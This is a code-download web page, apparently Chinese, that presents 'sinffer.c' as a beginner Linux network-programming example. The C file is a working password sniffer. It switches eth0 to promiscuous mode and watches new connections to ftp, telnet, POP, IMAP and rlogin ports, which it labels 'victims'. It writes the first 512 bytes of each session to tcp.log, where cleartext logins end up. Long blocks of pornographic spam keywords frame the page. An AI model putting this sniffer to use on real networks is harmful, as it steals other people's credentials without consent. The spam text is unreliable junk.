亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sinffer.c

?? Linux網絡編程教程適合初學者入門學習
?? C
字號:
#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netdb.h>

#include <string.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>



int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);



struct etherpacket

{

   struct ethhdr eth;

   struct iphdr  ip;

   struct tcphdr tcp;

   char buff[8192];

}ep;



struct

{

   unsigned long      saddr;

   unsigned long      daddr;

   unsigned short     sport;

   unsigned short     dport;

   int                bytes_read;

   char               active;

   time_t             start_time;

} victim;



struct iphdr  *ip;

struct tcphdr *tcp;

int s;

FILE *fp;



#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"



int openintf(char *d)

{

   int fd;

   struct ifreq ifr;

   int s;

   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

   if(fd < 0)

   {

      perror("cant get SOCK_PACKET socket");

      exit(0);

   }

   strcpy(ifr.ifr_name, d);

   s=ioctl(fd, SIOCGIFFLAGS, &ifr);

   if(s < 0)

   {

      close(fd);

      perror("cant get flags");

      exit(0);

   }

   ifr.ifr_flags |= IFF_PROMISC;

   s=ioctl(fd, SIOCSIFFLAGS, &ifr);

   if(s < 0) perror("cant set promiscuous mode");

   return fd;

}



int read_tcp(int s)

{

   int x;

   while(1)

   {

      x=read(s, (struct etherpacket *)&ep, sizeof(ep));

      if(x > 1) 

      {

         if(filter()==0) continue;

         x=x-54;

         if(x < 1) continue;

         return x;

      }

   }

}



int filter(void)

{

   int p;

   p=0;

   if(ip->protocol != 6) return 0;

   if(victim.active != 0)   

      if(victim.bytes_read > CAPTLEN)

      {

         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");

         clear_victim();

         return 0;

      }

   if(victim.active != 0)

      if(time(NULL) > (victim.start_time + TIMEOUT))

      {

         fprintf(fp, "\n----- [Timed Out]\n");

         clear_victim();

         return 0;

      }                                                                                                                  

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */

   if(ntohs(tcp->dest)==23)  p=1; /* telnet */

   if(ntohs(tcp->dest)==110) p=1; /* pop3 */

   if(ntohs(tcp->dest)==109) p=1; /* pop2 */

   if(ntohs(tcp->dest)==143) p=1; /* imap2 */

   if(ntohs(tcp->dest)==513) p=1; /* rlogin */

   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

   if(victim.active == 0)

      if(p == 1)

         if(tcp->syn == 1)

         {

            victim.saddr=ip->saddr;

            victim.daddr=ip->daddr;

            victim.active=1;

            victim.sport=tcp->source;

            victim.dport=tcp->dest;

            victim.bytes_read=0;

            victim.start_time=time(NULL);

            print_header();

         }  

   if(tcp->dest != victim.dport) return 0;

   if(tcp->source != victim.sport) return 0;

   if(ip->saddr != victim.saddr) return 0;

   if(ip->daddr != victim.daddr) return 0;

   if(tcp->rst == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [RST]\n");

      clear_victim();

      return 0;

   }

   if(tcp->fin == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [FIN]\n");

      clear_victim();

      return 0;

   }

   return 1;

}



   

int print_header(void)

{

   fprintf(fp, "\n");

   fprintf(fp, "%s => ", hostlookup(ip->saddr));

   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   

}



int print_data(int datalen, char *data)

{

   int i=0;

   int t=0;

   

   victim.bytes_read=victim.bytes_read+datalen;

   for(i=0;i != datalen;i++)

   {

      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

      if(t > 75) {t=0;fprintf(fp, "\n");}

   }

}





main(int argc, char **argv)

{

   s=openintf("eth0");

   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   

   signal(SIGHUP, SIG_IGN);

   signal(SIGINT, cleanup);

   signal(SIGTERM, cleanup);

   signal(SIGKILL, cleanup);

   signal(SIGQUIT, cleanup);

   if(argc == 2) fp=stdout;

   else fp=fopen(TCPLOG, "at");

   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

   clear_victim();

   for(;;)

   {

      read_tcp(s);

      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

      fflush(fp);      

   }   

}



char *hostlookup(unsigned long int in)

{ 

   static char blah[1024];

   struct in_addr i;

   struct hostent *he;

   

   i.s_addr=in;

   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

   if(he == NULL) strcpy(blah, inet_ntoa(i));

   else strcpy(blah, he->h_name);

   return blah;

}



void clear_victim(void)

{

   victim.saddr=0;

   victim.daddr=0;

   victim.sport=0;

   victim.dport=0;

   victim.active=0;

   victim.bytes_read=0;

   victim.start_time=0;

}



void cleanup(int sig)

{

   fprintf(fp, "Exiting...\n");

   close(s);

   fclose(fp);

   exit(0);

}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲欧美另类久久久精品| www国产成人| 成人精品在线视频观看| 九九国产精品视频| 全国精品久久少妇| 日韩精品乱码av一区二区| 午夜电影一区二区| 亚洲电影第三页| 日韩国产欧美一区二区三区| 婷婷久久综合九色国产成人| 亚洲成人av免费| 日韩电影在线观看一区| 日本vs亚洲vs韩国一区三区二区 | 国产精品美日韩| 国产欧美一区二区在线| 欧美国产日韩a欧美在线观看| 国产欧美日韩另类一区| 欧美激情一区二区三区全黄| 国产精品久久久久久久久免费桃花 | 91蜜桃传媒精品久久久一区二区| 99久久精品99国产精品 | 欧美乱妇一区二区三区不卡视频| 欧美综合久久久| 欧美群妇大交群中文字幕| 日韩欧美国产精品| 国产欧美综合色| 亚洲成人你懂的| 麻豆精品一区二区综合av| 国产精品影视在线| 色拍拍在线精品视频8848| 欧美老肥妇做.爰bbww| 26uuu久久天堂性欧美| 国产精品美女久久久久aⅴ | 五月婷婷综合在线| 免费观看日韩电影| 粉嫩aⅴ一区二区三区四区| 色欧美片视频在线观看在线视频| 欧美在线观看一区二区| 欧美va亚洲va| 一区二区不卡在线视频 午夜欧美不卡在 | 免费欧美日韩国产三级电影| 成人午夜看片网址| 欧美一区二区三区视频免费| 久久精品综合网| 日韩和欧美的一区| 成人av网站在线| 91精品国产91久久久久久最新毛片 | 亚洲无人区一区| 国产精品一区二区不卡| 欧美日韩视频在线观看一区二区三区| 精品国产一区二区精华| 亚洲色图欧洲色图婷婷| 狠狠色伊人亚洲综合成人| 欧美无乱码久久久免费午夜一区| 久久尤物电影视频在线观看| 亚洲一区二区三区不卡国产欧美| 国产麻豆视频精品| 欧美一区二区三区公司| 亚洲黄色av一区| 丁香啪啪综合成人亚洲小说 | 免费观看久久久4p| 欧美伊人精品成人久久综合97 | 91丨九色丨蝌蚪丨老版| 久久美女高清视频| 青娱乐精品在线视频| 91蜜桃网址入口| 亚洲人亚洲人成电影网站色| 国产风韵犹存在线视精品| 精品久久免费看| 麻豆精品精品国产自在97香蕉| 欧美色图免费看| 亚洲午夜一区二区三区| 日本乱码高清不卡字幕| 亚洲六月丁香色婷婷综合久久 | 综合婷婷亚洲小说| 成人app软件下载大全免费| 久久久久久久综合狠狠综合| 久久国产福利国产秒拍| 日韩欧美综合一区| 久久国产精品无码网站| 日韩欧美视频一区| 精品一二线国产| 欧美不卡激情三级在线观看| 久久er精品视频| 久久女同互慰一区二区三区| 精品亚洲免费视频| 中文字幕乱码亚洲精品一区| 成人小视频在线观看| 亚洲欧美激情在线| 欧美亚洲国产一区二区三区va| 亚洲高清在线精品| 3d成人h动漫网站入口| 蜜臀久久久久久久| 2019国产精品| 99精品在线免费| 亚洲狠狠丁香婷婷综合久久久| 欧美日韩dvd在线观看| 日韩高清不卡一区二区| 精品国产乱码久久久久久老虎| 国产风韵犹存在线视精品| 亚洲免费观看高清完整版在线观看| 在线精品视频一区二区| 久久99国内精品| 一区在线中文字幕| 欧美日韩精品久久久| 国产综合久久久久影院| 亚洲丝袜美腿综合| 欧美一区二区三区性视频| 处破女av一区二区| 一区二区三区在线免费观看| 日韩欧美一区二区在线视频| 丁香婷婷综合激情五月色| 亚洲国产毛片aaaaa无费看 | 久久一区二区三区四区| 91亚洲精品一区二区乱码| 图片区小说区区亚洲影院| 久久精品人人做人人爽97| 欧美在线免费视屏| 国产精品白丝jk黑袜喷水| 亚洲成人免费电影| 欧美高清在线视频| 欧美疯狂性受xxxxx喷水图片| 国产美女精品人人做人人爽| 亚洲大片在线观看| 国产欧美久久久精品影院| 欧美日韩一区二区三区四区| 国产精品一卡二| 日本不卡一二三区黄网| 亚洲美女偷拍久久| 国产欧美一区二区精品性| 538prom精品视频线放| heyzo一本久久综合| 麻豆精品一二三| 亚洲成人在线网站| 亚洲猫色日本管| 久久老女人爱爱| 日韩欧美成人午夜| 91精品国产综合久久精品图片| a美女胸又www黄视频久久| 国产一区二区电影| 蜜桃精品视频在线观看| 图片区小说区区亚洲影院| 洋洋av久久久久久久一区| 国产精品嫩草影院av蜜臀| 亚洲精品一区二区三区精华液| 欧美日韩免费不卡视频一区二区三区| 99免费精品在线| www.欧美.com| a4yy欧美一区二区三区| 丁香啪啪综合成人亚洲小说 | 亚洲码国产岛国毛片在线| 中文字幕在线不卡一区二区三区 | 国产精品一区2区| 国产一区二区导航在线播放| 激情图片小说一区| 国产曰批免费观看久久久| 激情综合色综合久久| 精品一区在线看| 国产米奇在线777精品观看| 久久精品国产精品亚洲精品 | 久久综合久色欧美综合狠狠| 精品久久99ma| 久久蜜桃香蕉精品一区二区三区| 欧美videos大乳护士334| 26uuu亚洲| 国产欧美一区二区精品性色超碰 | 日韩av一区二区三区| 日本亚洲电影天堂| 麻豆成人久久精品二区三区小说| 日本午夜一区二区| 国产乱码精品一品二品| 成人综合婷婷国产精品久久蜜臀| 成人免费高清在线| 在线免费观看日本欧美| 91精品国产一区二区| 精品国产一区二区三区忘忧草| 久久毛片高清国产| 亚洲男人天堂av| 免费三级欧美电影| 国产盗摄一区二区| 91国模大尺度私拍在线视频| 欧美精品久久天天躁| 久久综合给合久久狠狠狠97色69| 中文av一区特黄| 亚洲线精品一区二区三区八戒| 激情综合网激情| 色偷偷久久人人79超碰人人澡| 91精品综合久久久久久| 国产亚洲欧美激情| 亚洲高清免费一级二级三级| 久久成人免费网| 色婷婷综合久久久久中文一区二区| 欧美日韩久久久一区| 国产欧美精品在线观看| 亚洲成人自拍偷拍| 风间由美性色一区二区三区| 在线成人免费观看| 国产精品丝袜久久久久久app| 午夜电影久久久| 91免费观看视频|